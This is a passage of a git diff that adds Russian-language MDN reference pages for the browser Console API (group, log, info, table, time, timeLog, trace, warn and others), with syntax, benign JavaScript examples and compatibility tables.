FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поодержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("2.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Маски подстановки{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("9.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Псевдоним console.exception{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoMobile("28.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Доступно в Workers{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/console/group/index.html b/files/ru/web/api/console/group/index.html new file mode 100644 index 0000000000..91817d2671 --- /dev/null +++ b/files/ru/web/api/console/group/index.html @@ -0,0 +1,147 @@ +--- +title: Console.group() +slug: Web/API/Console/group +translation_of: Web/API/Console/group +--- +
{{APIRef("Console API")}}
+ +
Создает новую группу сообщений в веб-консоли. После вызова последующие сообщения, выводимые в консоль, будут иметь дополнительный уровень отступа, до тех пор пока не будет вызван метод {{domxref("console.groupEnd()")}}.
+ +

{{AvailableInWorkers}}

+ +

Синтаксис

+ +
console.group([label]);
+
+ +

Аргументы

+ +
+
label
+
Опциональный заголовок группы. (Протестировано в Chrome 59). Не работает с console.groupEnd().
+
+ +

{{h3_gecko_minversion("Использование в веб-консоли", "9.0")}}

+ +

Использование групп помогает упорядочить вывод в консоль благодаря визуальной группировке связанных сообщений. Чтобы начать новый блок нужно вызвать console.group(). Метод console.groupCollapsed() работает аналогичным образом, но выведенная группа будет свернута до тех пор, пока не будет развернута по клику.

+ +

Примечание:  Начиная с 9 по 51 версию Gecko, метод groupCollapsed() работал как метод group(). Свернутые группы поддерживаются с версии Gecko 52. См. {{bug("1088360")}}.

+ +

Чтобы прекратить вывод в группу, требуется вызвать console.groupEnd(). К примеру, следующий код:

+ +
console.log("This is the outer level");
+console.group();
+console.log("Level 2");
+console.group();
+console.log("Level 3");
+console.warn("More of level 3");
+console.groupEnd();
+console.log("Back to level 2");
+console.groupEnd();
+console.log("Back to the outer level");
+
+ +

выведет следующий результат:

+ +

A screenshot of messages nested in the console output.

+ +

Для дополнительной информации смотрите Использование групп в консоли.

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Console API", "#group", "console.group()")}}{{Spec2("Console API")}}Первоначальное определение
+ +

Поддержка в браузерах

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка2{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}11{{CompatVersionUnknown}}4.0[1]
Доступно в Web Workers{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("2.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Доступно в Web Workers{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Реализовано в http://trac.webkit.org/changeset/35421.

+ +

См. также

+ + diff --git a/files/ru/web/api/console/index.html b/files/ru/web/api/console/index.html new file mode 100644 index 0000000000..f2b4a069b7 --- /dev/null +++ b/files/ru/web/api/console/index.html @@ -0,0 +1,261 @@ +--- +title: Console +slug: Web/API/Console +tags: + - API + - DOM + - NeedsCompatTable + - Reference + - Référence(2) + - Веб-консоль + - Отладка + - Справочник по DOM Gecko +translation_of: Web/API/Console +--- +
{{APIRef("Console API")}}
+ +

Объект Сonsole служит для доступа к средствам отладки браузера (например, Web Console (Веб-консоль) в Firefox). Работа с ним отличается в разных браузерах, но эти методы и свойства по факту поддерживаются всеми браузерами.

+ +

Доступ к Сonsole можно получить через свойство глобального объекта, то есть: {{domxref("Window")}} в браузере (в JavaScript), {{domxref("WorkerGlobalScope")}} — в workers это специальный способ доступа через свойство console. Он известен как {{domxref("Window.console")}}, и на него ссылаются для простоты так: "console".

+ +
console.log("Failed to open the specified link")
+ +

Ниже описаны методы, доступные в объекте Console и приведены несколько примеров их использования.

+ +

{{AvailableInWorkers}}

+ +

Методы

+ +
+
{{domxref("Console.assert()")}}
+
Выводит в консоль (имеется ввиду веб-консоль) сообщение и стек вызова метода, если первый аргумент false.
+
{{domxref("Console.clear()")}}
+
Очистка консоли.
+
{{domxref("Console.count()")}}
+
Выводит количество вызовов метода с определенной меткой (передаётся в параметре метода)
+
+ +
+
{{domxref("Console.countReset()")}}
+
Обнуляет значение счетчика с заданным значением.
+
+ +
+
{{domxref("Console.debug()")}}
+
Синоним для log()
+
{{domxref("Console.dir()")}} {{Non-standard_inline}}
+
Отображает интерактивный список свойств указанного объекта JavaScript. Этот список позволит вам посмотреть дочерние объекты и их свойства.
+
{{domxref("Console.dirxml()")}} {{Non-standard_inline}}
+
+

Отображает представление указанного объекта в XML/HTML-виде, если это возможно. Если нет - в виде JavaScript-объекта (как в виде "console.dir()").

+
+
{{domxref("Console.error()")}}
+
Выводит сообщение об ошибке. Для форматирования вы можете использовать подстановочные символы (маски) с дополнительными параметрами.
+
{{domxref("Console._exception()")}} {{Non-standard_inline}} {{deprecated_inline}}
+
Синоним для error();
+
{{domxref("Console.group()")}}
+
Создаёт новую группировку сообщений, сдвигая все следующие выводимые строки вправо на один уровень. Для завершения группы вызовите groupEnd().
+
{{domxref("Console.groupCollapsed()")}}
+
Создаёт новую группировку сообщений, сдвигая все следующие сообщения вправо на один уровень; в отличие от group() вывод происходи в свёрнутую группу, требующую раскрыть её вручную по кнопке. Для завершения группы вызовите groupEnd().
+
{{domxref("Console.groupEnd()")}}
+
Выход из текущей группы.
+
{{domxref("Console.info()")}}
+
Информационное сообщение. Для форматирования вы можете использовать подстановочные символы (маски) с дополнительными параметрами.
+
{{domxref("Console.log()")}}
+
Общий метод вывода информации. Для форматирования вы можете использовать подстановочные символы (маски) с дополнительными параметрами.
+
{{domxref("Console.profile()")}} {{Non-standard_inline}}
+
Запускает профайлер, встроенный в браузер (например, Firefox performance tool). Вы можете указать метку профиля (по желанию).
+
{{domxref("Console.profileEnd()")}} {{Non-standard_inline}}
+
Останавливает профайлер.Вы можете посмотреть результат в инструментах анализа производительности браузера (например, Firefox performance tool).
+
{{domxref("Console.table()")}}
+
Отображает табличные данные в виде таблицы.
+
{{domxref("Console.time()")}}
+
Запускает таймер с именем из переданного параметра. Можно запустить одновременно до 10,000 таймеров на странице.
+
{{domxref("Console.timeEnd()")}}
+
Останавливает указанный таймер и записывает в лог, сколько прошло секунд от его старта.
+
{{domxref("Console.timeStamp()")}} {{Non-standard_inline}}
+
Ставит маркер в браузерном инструменте измерения производительности Timeline или Waterfall.
+
{{domxref("Console.trace()")}}
+
Вывод трассировки стека.
+
{{domxref("Console.warn()")}}
+
Выводит предупреждающее сообщение. Для форматирования вы можете использовать подстановочные символы (маски) с дополнительными параметрами.
+
+ + +

Использование

+ +

Вывод текста в консоль

+ +

Чаще всего Консоль используется для вывода строк текста и других типов данных. Существует четыре категории вывода, которые вы можете создавать, используя функции {{domxref("console.log()")}}, {{domxref("console.info()")}}, {{domxref("console.warn()")}}, {{domxref("console.error()")}}. Их вывод стилизован по-разному, и вы можете использовать фильтры, предоставляемые браузером, чтобы видеть только интересующие вас вещи.

+ +

Есть два пути использования функций вывода; можно просто передать список объектов, чьё строковое представление сольётся в одну строку, после чего выведется в консоль, или вы можете использовать строку с подстановочными символами и списком объектов-параметров для подстановки в них.

+ +

Вывод одного объекта

+ +

Простейший способ для вывода одного объекта:

+ +
var someObject = { str: "Some text", id: 5 };
+console.log(someObject);
+
+ +

Вывод будет таким:

+ +
[09:27:13.475] ({str:"Some text", id:5})
+ +

Вывод нескольких объектов

+ +

Вы можете выводить несколько объектов, просто перечисляя их в вызываемой функции:

+ +
var car = "Dodge Charger";
+var someObject = {str:"Some text", id:5};
+console.info("My first car was a", car, ". The object is: ", someObject);
+ +

Вывод будет таким:

+ +
[09:28:22.711] My first car was a Dodge Charger . The object is:  ({str:"Some text", id:5})
+
+ +

Преобразование строк с использованием масок

+ +

Gecko 9.0 {{geckoRelease("9.0")}} ввёл поддержку подстановочных символов (масок). При передаче строки одному из методов вы можете использовать следующие символы:

+ + + + + + + + + + + + + + + + + + + + + + + + +
Подстановочный символОписание
%o или %OВыводит ссылку на JavaScript-объект. Нажатие на ссылку приведёт к открытию инспектора кода.
%d или %iВыведет целое число. Поддерживается форматирование, например, console.log("АБВГД %.2d", 1.1) выведет число как две значащих цифры с лидирующим нулём: АБВГД 01
%sВыводит строку.
%fВыводит число с плавающей точкой. Поддерживается форматирование, например, console.log("АБВГД %.2f", 1.1) выведет число до двух знаков после запятой: АБВГД 1.10
+ +

Каждая из масок выбирает следующий аргумент из списка параметров. Пример:

+ +
for (var i=0; i<5; i++) {
+  console.log("Hello, %s. You've called me %d times.", "Bob", i+1);
+}
+
+ +

Вывод будет таким:

+ +
[13:14:13.481] Hello, Bob. You've called me 1 times.
+[13:14:13.483] Hello, Bob. You've called me 2 times.
+[13:14:13.485] Hello, Bob. You've called me 3 times.
+[13:14:13.487] Hello, Bob. You've called me 4 times.
+[13:14:13.488] Hello, Bob. You've called me 5 times.
+
+ +

Стилизация вывода консоли

+ +

Можно  использовать директиву "%c" для применения стилей CSS при выводе в консоль. Часть текста до директивы не затрагивается стилем, а часть после - будет стилизована:

+ +
console.log("This is %cMy stylish message", "color: yellow; font-style: italic; background-color: blue; padding: 2px;");
+ +
+ +
+

Note: Поддерживается довольно много свойств стилей CSS; но вам необходимо поэкспериментировать и посмотреть, что окажется более полезным.

+
+ +
{{h3_gecko_minversion("Using groups in the console", "9.0")}}
+ +

Вы можете использовать вложенные группы для организации вывода, визуально комбинируя связанный материал. Для создания вложенного блока вызовите console.group(). Метод console.groupCollapsed() похожий, но создаёт новый блок свёрнутым, что потребует нажать на кнопку, для своего раскрытия для чтения.

+ +
Note: Свёрнутые группы не поддерживаются пока в Gecko; в настоящее время метод groupCollapsed() работает так же как и group().
+ +

Для выхода из текущей группы просто вызовите console.groupEnd(). Пример:

+ +
console.log("This is the outer level");
+console.group();
+console.log("Level 2");
+console.group();
+console.log("Level 3");
+console.warn("More of level 3");
+console.groupEnd();
+console.log("Back to level 2");
+console.groupEnd();
+console.debug("Back to the outer level");
+
+ +

Вывод будет таким:

+ +

nesting.png

+ +

{{h3_gecko_minversion("Timers", "10.0")}}

+ +

Для расчета длительности определённых операций в Gecko 10 введена поддержка таймеров в объекте console. Для запуска таймера вызовите функцию console.time(), при этом в качестве параметра передайте название таймера. Для остановки таймера и для получения прошедшего времени в миллисекундах вызовите console.timeEnd(), передав в качестве параметра имя таймера. На странице можно запустить до 10000 таймеров одновременно.

+ +

Рассмотрим пример:

+ +
console.time("answer time");
+alert("Click to continue");
+console.timeEnd("answer time");
+
+ +

этот код запишет в веб-консоль время необходимое пользователю для того, чтобы закрыть окно alert:

+ +

timerresult.png

+ +

Заметьте, что имя таймера отображено и при старте таймера и при его остановке.

+ +
Заметьте: Это важно: если вы используете таймер для записи таймингов сетевого трафика, то таймер отобразит общее время для операции, в то время как время, отображаемое в панели "Сеть" это только время, требуемое для заголовка. Если у вас включено логирование времени тела ответа, то время ответа для заголовка и для тела должно соответствовать времени, которое вы у видите в консоли.
+ +

Трассировка стека вызова

+ +

Консоль также поддерживает вывод трассировки стека; она покажет вам весь путь вызовов функций, пройденный до момента, когда вы вызвали {{domxref("console.trace()")}}. Например, такой код:

+ +
foo();
+
+function foo() {
+  function bar() {
+    console.trace();
+  }
+  bar();
+}
+
+ +

Вывод в консоль будет похож на этот:

+ +

+ +

Замечания

+ + + +

Смотрите также

+ + + +

Реализации в браузерах

+ + diff --git a/files/ru/web/api/console/info/index.html b/files/ru/web/api/console/info/index.html new file mode 100644 index 0000000000..177715ed03 --- /dev/null +++ b/files/ru/web/api/console/info/index.html @@ -0,0 +1,157 @@ +--- +title: Console.info() +slug: Web/API/Console/info +tags: + - Debugging + - Web Development +translation_of: Web/API/Console/info +--- +
{{APIRef("Console API")}}
+ +

Выводит сообщения, содержащие некоторую информацию, в Веб-консоль.  В Firefox и Chrome, рядом с этими элементами в консоли отображается маленькая иконка "i".

+ +

{{AvailableInWorkers}}

+ +

Синтаксис

+ +
console.info(obj1 [, obj2, ..., objN]);
+console.info(msg [, subst1, ..., substN]);
+
+ +

Параметры

+ +
+
obj1 ... objN
+
Список объектов JavaScript, для вывода. Строковое представление каждого из них добавляется в указанном порядке вывода.
+
msg
+
Строка, содержащая 0 или более масок для замены.
+
subst1 ... substN
+
Объекты JavaScript, которыми заменятся маски в строке msg. Так можно дополнительно контролировать формат вывода. Например, console.info('Output %f', 234); выведет в консоль: Output 234.000000
+
+ +

Смотрите Вывод текста в консоль в документации {{domxref("console")}} для получения подробностей.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусОписание
{{SpecName("Console API", "#consoleinfoobject--object-", "console.info()")}}{{Spec2("Console API")}}Первоначальное определение
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}8{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Заменяемые маски{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("9.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Информационная иконка{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}
Доступно в Workers{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("2.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Заменяемые маски{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("9.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Доступно в Workers{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/console/log/index.html b/files/ru/web/api/console/log/index.html new file mode 100644 index 0000000000..ba29cd2002 --- /dev/null +++ b/files/ru/web/api/console/log/index.html @@ -0,0 +1,92 @@ +--- +title: Console.log() +slug: Web/API/Console/log +tags: + - Debug + - Debugging + - console + - console.log() + - Отладка + - метод +translation_of: Web/API/Console/log +--- +
{{APIRef("Console API")}}
+ +

Выводит сообщение в веб-консоль.

+ +

{{AvailableInWorkers}}

+ +

Синтаксис

+ +
console.log(obj1 [, obj2, ..., objN]);
+console.log(msg [, subst1, ..., substN]);
+
+ +

Параметры

+ +
+
obj1 ... objN
+
Список объектов JavaScript для вывода. Строковые представления каждого из этих объектов соединяются вместе в указанном порядке и выводятся. Пожалуйста, обратите внимание, что если вы логируете объекты в последних версиях Chrome и Firefox, то что вы вывели в консоль, является ссылкой на объект, и не обязательно является его "значением" на момент вызова console.log(), это значение объекта в тот момент, когда вы кликаете по нему, чтобы открыть.
+
msg
+
Строка JavaScript, содержащая 0 и более подстановочных символов для замены (см. subst1 ... substN).
+
subst1 ... substN
+
JavaScript-объекты, с помощью которых произойдёт замена подстановочных символов в msg. Это даст вам дополнительный контроль над форматом вывода.
+
+ +

Больше подробностей смотрите в разделе Вывод текста в консоль документации {{domxref("console")}}.

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Console API", "#log", "console.log()")}}{{Spec2("Console API")}}Первоначальное определение
+ +

Совместимость с браузерами

+ +

{{Compat("api.Console.log")}}

+ +

Отличия от console.dir()

+ +

Вы можете спросить какая разница между console.dir() и console.log(). Это полезное отличие.

+ +

+ +

Заметка:

+ + + +

А именно, console.log даёт специальное обращение к DOM-элементам, тогда как console.dir - нет. Это особенно полезно, когда нужно видеть полное представление DOM JS-объетов.

+ +

Больше информации об этой и других функциях в Chrome Console API reference.

+ +

Логирование объектов

+ +

Не используйте console.log(obj);,
+ Используйте console.log(JSON.parse(JSON.stringify(obj)));.

+ +

Так вы можете быть уверены, что видите значение obj в момент, его логирования.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/console/profile/index.html b/files/ru/web/api/console/profile/index.html new file mode 100644 index 0000000000..7474ed345c --- /dev/null +++ b/files/ru/web/api/console/profile/index.html @@ -0,0 +1,43 @@ +--- +title: Console.profile() +slug: Web/API/Console/profile +tags: + - АПИ + - Профайлер + - дебаггинг + - профилировщик +translation_of: Web/API/Console/profile +--- +

{{APIRef("Console API")}}{{Non-standard_header}}

+ +

Запускает профайлер, встроенный в браузер (например, Firefox performance tool).

+ +

Вы можете указать аргумент, чтобы назвать профиль, это позволит вам остановить только этот профиль, если записывается несколько профилей. Смотрите {{domxref("Console.profileEnd()")}} чтобы понять, как этот аргумент интерпретируется.

+ +

Останавливает профайлер {{domxref("Console.profileEnd()")}}.

+ +

{{AvailableInWorkers}}

+ +

Синтаксис

+ +
console.profile(profileName);
+
+ +

Параметры

+ +
+
profileName
+
Вы можете указать метку профиля (по желанию).
+
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Console.profile")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/console/table/index.html b/files/ru/web/api/console/table/index.html new file mode 100644 index 0000000000..f82a5e6858 --- /dev/null +++ b/files/ru/web/api/console/table/index.html @@ -0,0 +1,205 @@ +--- +title: Console.table() +slug: Web/API/Console/table +tags: + - API + - Дебаг + - консоль +translation_of: Web/API/Console/table +--- +
{{APIRef("Console API")}}{{Non-standard_header}}
+ +

Отображает наборы данных в виде таблицы.

+ +

Данная функция принимает один обязательный аргумент data, который должен быть представлен в виде массива или объекта, и один дополнительный параметр columns.

+ +

функция логгирует аргумент data в виде таблицы. Каждый элемент массива (или каждое свойство, если data - это объект) будет представлять строку таблицы.

+ +

Первая колонка таблицы будет озаглавлена как (index). Если data представлена массивом, тогда значения первой колонки будут представлять индексы массива. Если data - объект, тогда значения первой колонки будут представлять свойства объекта.

+ +

{{AvailableInWorkers}}

+ +

Простые наборы

+ +

Аргумент data может быть массивом или объектом.

+ +
// массив строк
+
+console.table(["apples", "oranges", "bananas"]);
+ +

+ +
// объект, чьи свойства содержат строки
+
+function Person(firstName, lastName) {
+  this.firstName = firstName;
+  this.lastName = lastName;
+}
+
+var me = new Person("John", "Smith");
+
+console.table(me);
+ +

+ +

Наборы смешанных типов

+ +

Если элементы массива, либо свойства объекта, в свою очередь сами являются массивами или объектами, тогда эти элементы или свойства перечисляются построчно, перечисляя вложенные элементы/свойства в колонках:

+ +
// массив массивов
+
+var people = [["John", "Smith"], ["Jane", "Doe"], ["Emily", "Jones"]]
+console.table(people);
+ +

Table displaying array of arrays

+ +
// массив объектов
+
+function Person(firstName, lastName) {
+  this.firstName = firstName;
+  this.lastName = lastName;
+}
+
+var john = new Person("John", "Smith");
+var jane = new Person("Jane", "Doe");
+var emily = new Person("Emily", "Jones");
+
+console.table([john, jane, emily]);
+ +

Обратите внимание,  что если массив состоит из объектов, колонки таблицы будут озаглавленны названиями свойств объекта.

+ +

Table displaying array of objects

+ +
// объект, свойства которого являются объектами
+
+var family = {};
+
+family.mother = new Person("Jane", "Smith");
+family.father = new Person("John", "Smith");
+family.daughter = new Person("Emily", "Smith");
+
+console.table(family);
+ +

Table displaying object of objects

+ +

Ограничение видимости колонок

+ +

По умолчанию, console.table() отображает все элементы в каждой строке. Вы можете использовать опциональный параметер columns чтобы указать набор отображаемых колонок:

+ +
// массив объектов, логгируется только свойство firstName
+
+function Person(firstName, lastName) {
+  this.firstName = firstName;
+  this.lastName = lastName;
+}
+
+var john = new Person("John", "Smith");
+var jane = new Person("Jane", "Doe");
+var emily = new Person("Emily", "Jones");
+
+console.table([john, jane, emily], ["firstName"]);
+ +

Table displaying array of objects with filtered output

+ +

Сортировка колонок

+ +

Вы можете отсортировать необходимую колонку, кликнув по её заголовку.

+ +

Синтаксис

+ +
console.table(data [, columns]);
+
+ +

Параметры

+ +
+
data
+
Данные для отображения. Могут быть представленны массивом или объектом.
+
columns
+
Массив названий колонок, которые следует отобразить.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Console API", "#consoletabledata-columns", "console.table()")}}{{Spec2("Console API")}}Initial definition
+ +

Поддержка браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("34.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
Available in workers{{CompatVersionUnknown}}{{CompatGeckoDesktop("38.0")}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("34.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Available in workers{{CompatUnknown}}{{CompatGeckoMobile("38.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/ru/web/api/console/time/index.html b/files/ru/web/api/console/time/index.html new file mode 100644 index 0000000000..bf32c8aff0 --- /dev/null +++ b/files/ru/web/api/console/time/index.html @@ -0,0 +1,62 @@ +--- +title: Console.time() +slug: Web/API/Console/time +tags: + - API + - DOM + - Method + - Reference + - console +translation_of: Web/API/Console/time +--- +
{{APIRef("Console API")}}
+ +

Запускает таймер, который вы можете использовать для определения, сколько времени занимает выполнение той или иной операции. Вы должны назначить каждому таймеру уникальное имя и таким образом можете запустить до 10000 таймеров на одной странице. Когда вы вызовете {{ domxref("console.timeEnd()") }} с именем, которое использовалось при запуске таймера, браузер отобразит в консоли время (в миллисекундах), прошедшее с момента запуска таймера.

+ +

Примеры и более детальная информация находятся в разделе Таймеры документации к {{ domxref("console") }}

+ +

{{AvailableInWorkers}}

+ +

Синтаксис

+ +
console.time(label);
+ +

Параметры

+ +
+
label
+
Название нового таймера. Оно однозначно идентифицирует таймер. Используйте то же самое название таймера, когда вызываете {{ domxref("console.timeEnd()") }} для остановки и отображения времени выполнения таймера.
+
+ +

Документация

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#time", "console.time()")}}{{Spec2("Console API")}}Первоначальное определение
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Console.time")}}

+ +

См. также

+ + diff --git a/files/ru/web/api/console/timeend/index.html b/files/ru/web/api/console/timeend/index.html new file mode 100644 index 0000000000..fd23031ed5 --- /dev/null +++ b/files/ru/web/api/console/timeend/index.html @@ -0,0 +1,76 @@ +--- +title: Console.timeEnd +slug: Web/API/Console/timeEnd +tags: + - API + - Method + - Веб-разработка + - Отладка + - консоль +translation_of: Web/API/Console/timeEnd +--- +
{{APIRef("Console API")}}
+ +

Останавливает таймер, который был запущен до этого через функцию {{domxref("console.time()")}}.

+ +

Более подробная документация и примеры есть в разделе Таймеры документации к {{domxref("console")}}.

+ +

{{AvailableInWorkers}}

+ +

Синтаксис

+ +
console.timeEnd(label);
+
+ +

Параметры

+ +
+
label
+
Метка таймера, который будет остановлен. Останавливается один раз. После остановки время отображается в Веб-консоли.
+
+ +

Примеры

+ +
console.time("answer time");
+alert("Click to continue");
+console.timeLog("answer time");
+alert("Do a bunch of other stuff...");
+console.timeEnd("answer time");
+ +

В примере выше мы получим время, которое потребовалось пользователю, чтобы закрыть первое диалоговое окно, а затем время, которое потребовалось пользователю, чтобы закрыть второе диалоговое окно:

+ +

timerresult.png

+ +

Обратите внимение, что метка таймера отображается как при вызове timeLog(), так и завершении таймера. Кроме того, вызов timeEnd() выводит дополнительную информацию "timer ended", чтобы очевидно показать, что таймер больше не отслеживается.

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#timeend", "console.timeEnd()")}}{{Spec2("Console API")}}Первоначальное определение
+ +

Совместимость с браузерами

+ +
{{Compat("api.Console.timeEnd")}}
+ +
+ +

См. также

+ + diff --git a/files/ru/web/api/console/timelog/index.html b/files/ru/web/api/console/timelog/index.html new file mode 100644 index 0000000000..9b87553a7f --- /dev/null +++ b/files/ru/web/api/console/timelog/index.html @@ -0,0 +1,92 @@ +--- +title: Console.timeLog() +slug: Web/API/Console/timeLog +translation_of: Web/API/Console/timeLog +--- +
{{APIRef("Console API")}}
+ +
Выводит в консоль текущее значение таймера, запущенного вызовом {{domxref("console.time()")}}.
+ +

Подробности и примеры смотрите в документации Timers.

+ +

{{AvailableInWorkers}}

+ +

Синтаксис

+ +
console.timeLog(label);
+
+ +

Параметры

+ +
+
label
+
Имя таймера для вывода в консоль.
+
+ +

Результат

+ +

Если параметр label опущен, выводит значение таймера по умолчанию:

+ +
default: 1042ms
+ +

Если в параметре label указано имя существующего таймера:

+ +
timer name: 1242ms
+ +

Исключения

+ +

При отсутствии запущенного таймера по умолчанию timeLog() выводит предупреждение:

+ +
Timer “default” doesn’t exist.
+ +

При указании имени несуществующего таймера:

+ +
 Timer “timer name” doesn’t exist.
+ +

Примеры

+ +
console.time("answer time");
+alert("Нажмите для продолжения");
+console.timeLog("answer time");
+alert("Делаем кучу другой работы...");
+console.timeEnd("answer time");
+
+ +

Отчет таймера начинается с момента вызова console.time(). Сначала выводится время от начала отсчета до закрытия первого уведомления. Затем выводится время с начала отсчета до закрытия второго уведомления:

+ +

timerresult.png

+ +

Обратите внимание, имя таймера печатается как при вызовах timeLog() , так и при завершении таймера.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#timelog", "console.timeLog()")}}{{Spec2("Console API")}}Первоначальное определение
+ +

Совместимость с браузерами

+ +
+ + +

{{Compat("api.Console.timeLog")}}

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/console/timestamp/index.html b/files/ru/web/api/console/timestamp/index.html new file mode 100644 index 0000000000..9bd67bdc27 --- /dev/null +++ b/files/ru/web/api/console/timestamp/index.html @@ -0,0 +1,39 @@ +--- +title: Console.timeStamp() +slug: Web/API/Console/timeStamp +tags: + - API + - DOM +translation_of: Web/API/Console/timeStamp +--- +

{{APIRef("Console API")}}{{Non-standard_header}}

+ +

Добавляет маркер в браузерные инструменты Performance или Waterfall. Это помогает соотнести точку в вашем коде с другми записанными событиями.

+ + + +

{{AvailableInWorkers}}

+ +

Синтаксис

+ +
console.timeStamp(label);
+
+ +

Параметры

+ +
+
label
+
Название метки. Необязательный параметр.
+
+ +

Совместимость с браузерами

+ +

{{Compat("api.Console.timestamp")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/console/trace/index.html b/files/ru/web/api/console/trace/index.html new file mode 100644 index 0000000000..0d092339d5 --- /dev/null +++ b/files/ru/web/api/console/trace/index.html @@ -0,0 +1,66 @@ +--- +title: Console.trace() +slug: Web/API/Console/trace +translation_of: Web/API/Console/trace +--- +
{{APIRef("Console API")}}
+ +

Выводит стэк трэйс в  Веб Консоль.

+ +

{{AvailableInWorkers}}

+ +

Посмотрите Стэк трэйсы в документации {{domxref("console")}} с деталями и примерами.

+ +

Синтаксис

+ +
console.trace();
+
+ +

Пример

+ +
function foo() {
+  function bar() {
+    console.trace();
+  }
+  bar();
+}
+
+foo();
+
+ +

В консоли следующий трэйс будет отображен так:

+ +
bar
+foo
+<anonymous>
+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Console API", "#trace", "console.trace()")}}{{Spec2("Console API")}}Стандартное значение
+ +

Браузерная совместимость

+ + + +

{{Compat("api.Console.trace")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/console/warn/index.html b/files/ru/web/api/console/warn/index.html new file mode 100644 index 0000000000..6b5d7c1359 --- /dev/null +++ b/files/ru/web/api/console/warn/index.html @@ -0,0 +1,67 @@ +--- +title: Console.warn() +slug: Web/API/Console/warn +translation_of: Web/API/Console/warn +--- +
+
+
{{APIRef("Console API")}}
+ +
Выводит предупреждение в веб-консоль.
+ +
+ + +

{{AvailableInWorkers}}{{Note("В Firefox, предупреждения имеют небольшое изображение восклицательного знака перед сообщением.")}}

+ +

Синтаксис

+ +
console.warn(obj1 [, obj2, ..., objN]);
+console.warn(msg [, subst1, ..., substN]);
+
+ +

Параметры

+ +
+
obj1 ... objN
+
